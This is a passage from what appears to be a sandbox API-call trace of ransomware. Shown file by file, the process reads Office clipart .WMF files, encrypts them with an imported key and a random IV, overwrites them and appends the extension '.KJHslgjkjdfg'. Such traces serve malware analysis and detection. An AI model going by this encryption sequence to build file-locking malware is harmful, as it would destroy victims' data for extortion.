Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.871] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.871] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.871] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.871] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.872] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.872] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.872] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.872] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.872] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.872] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1284, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1284, lpOverlapped=0x0) returned 1 [0204.873] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1290, dwBufLen=0x1290 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1290) returned 1 [0204.873] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.873] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1290, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1290, lpOverlapped=0x0) returned 1 [0204.873] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.873] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.873] SetEndOfFile (hFile=0x130) returned 1 [0204.874] GetProcessHeap () returned 0x2ef0000 [0204.874] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.874] GetProcessHeap () returned 0x2ef0000 [0204.874] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.874] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf.kjhslgjkjdfg")) returned 1 [0204.875] CloseHandle (hObject=0x130) returned 1 [0204.875] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239063.WMF", cAlternateFileName="")) returned 1 [0204.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.876] GetProcessHeap () returned 0x2ef0000 [0204.876] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.876] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.876] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.876] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.878] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.878] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.878] GetProcessHeap () returned 0x2ef0000 [0204.878] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.879] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.879] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.879] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.879] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.879] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.879] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.879] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.879] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.879] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.879] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x16fc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x16fc, lpOverlapped=0x0) returned 1 [0204.885] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1700, dwBufLen=0x1700 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1700) returned 1 [0204.885] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.885] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1700, lpOverlapped=0x0) returned 1 [0204.885] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.885] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.885] SetEndOfFile (hFile=0x130) returned 1 [0204.887] GetProcessHeap () returned 0x2ef0000 [0204.887] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.887] GetProcessHeap () returned 0x2ef0000 [0204.888] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.888] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf.kjhslgjkjdfg")) returned 1 [0204.889] CloseHandle (hObject=0x130) returned 1 [0204.889] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1294, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239079.WMF", cAlternateFileName="")) returned 1 [0204.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.890] GetProcessHeap () returned 0x2ef0000 [0204.890] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.890] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.890] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.890] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0204.892] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.892] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.892] GetProcessHeap () returned 0x2ef0000 [0204.892] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.893] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.893] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.893] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.893] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.893] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.893] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.893] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.893] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.893] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.893] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.893] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.893] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1294, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1294, lpOverlapped=0x0) returned 1 [0204.894] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x12a0, dwBufLen=0x12a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x12a0) returned 1 [0204.894] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.894] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x12a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x12a0, lpOverlapped=0x0) returned 1 [0204.894] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.894] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.894] SetEndOfFile (hFile=0x130) returned 1 [0204.897] GetProcessHeap () returned 0x2ef0000 [0204.897] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.897] GetProcessHeap () returned 0x2ef0000 [0204.897] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.897] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf.kjhslgjkjdfg")) returned 1 [0204.903] CloseHandle (hObject=0x130) returned 1 [0204.903] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1464, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239191.WMF", cAlternateFileName="")) returned 1 [0204.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.905] GetProcessHeap () returned 0x2ef0000 [0204.905] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.905] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.905] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.905] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0204.907] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.907] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.907] GetProcessHeap () returned 0x2ef0000 [0204.907] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.907] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.907] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.907] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.908] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.908] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.908] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.908] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.908] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.908] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.908] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.908] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.908] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1464, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1464, lpOverlapped=0x0) returned 1 [0204.909] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1470, dwBufLen=0x1470 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1470) returned 1 [0204.909] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.909] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1470, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1470, lpOverlapped=0x0) returned 1 [0204.909] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.909] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.909] SetEndOfFile (hFile=0x130) returned 1 [0204.912] GetProcessHeap () returned 0x2ef0000 [0204.912] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.912] GetProcessHeap () returned 0x2ef0000 [0204.912] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.912] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf.kjhslgjkjdfg")) returned 1 [0204.913] CloseHandle (hObject=0x130) returned 1 [0204.913] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8424, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239611.WMF", cAlternateFileName="")) returned 1 [0204.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.914] GetProcessHeap () returned 0x2ef0000 [0204.914] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.915] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.915] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.915] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0204.917] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.917] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.917] GetProcessHeap () returned 0x2ef0000 [0204.917] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.917] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.917] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.917] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.917] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.917] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, 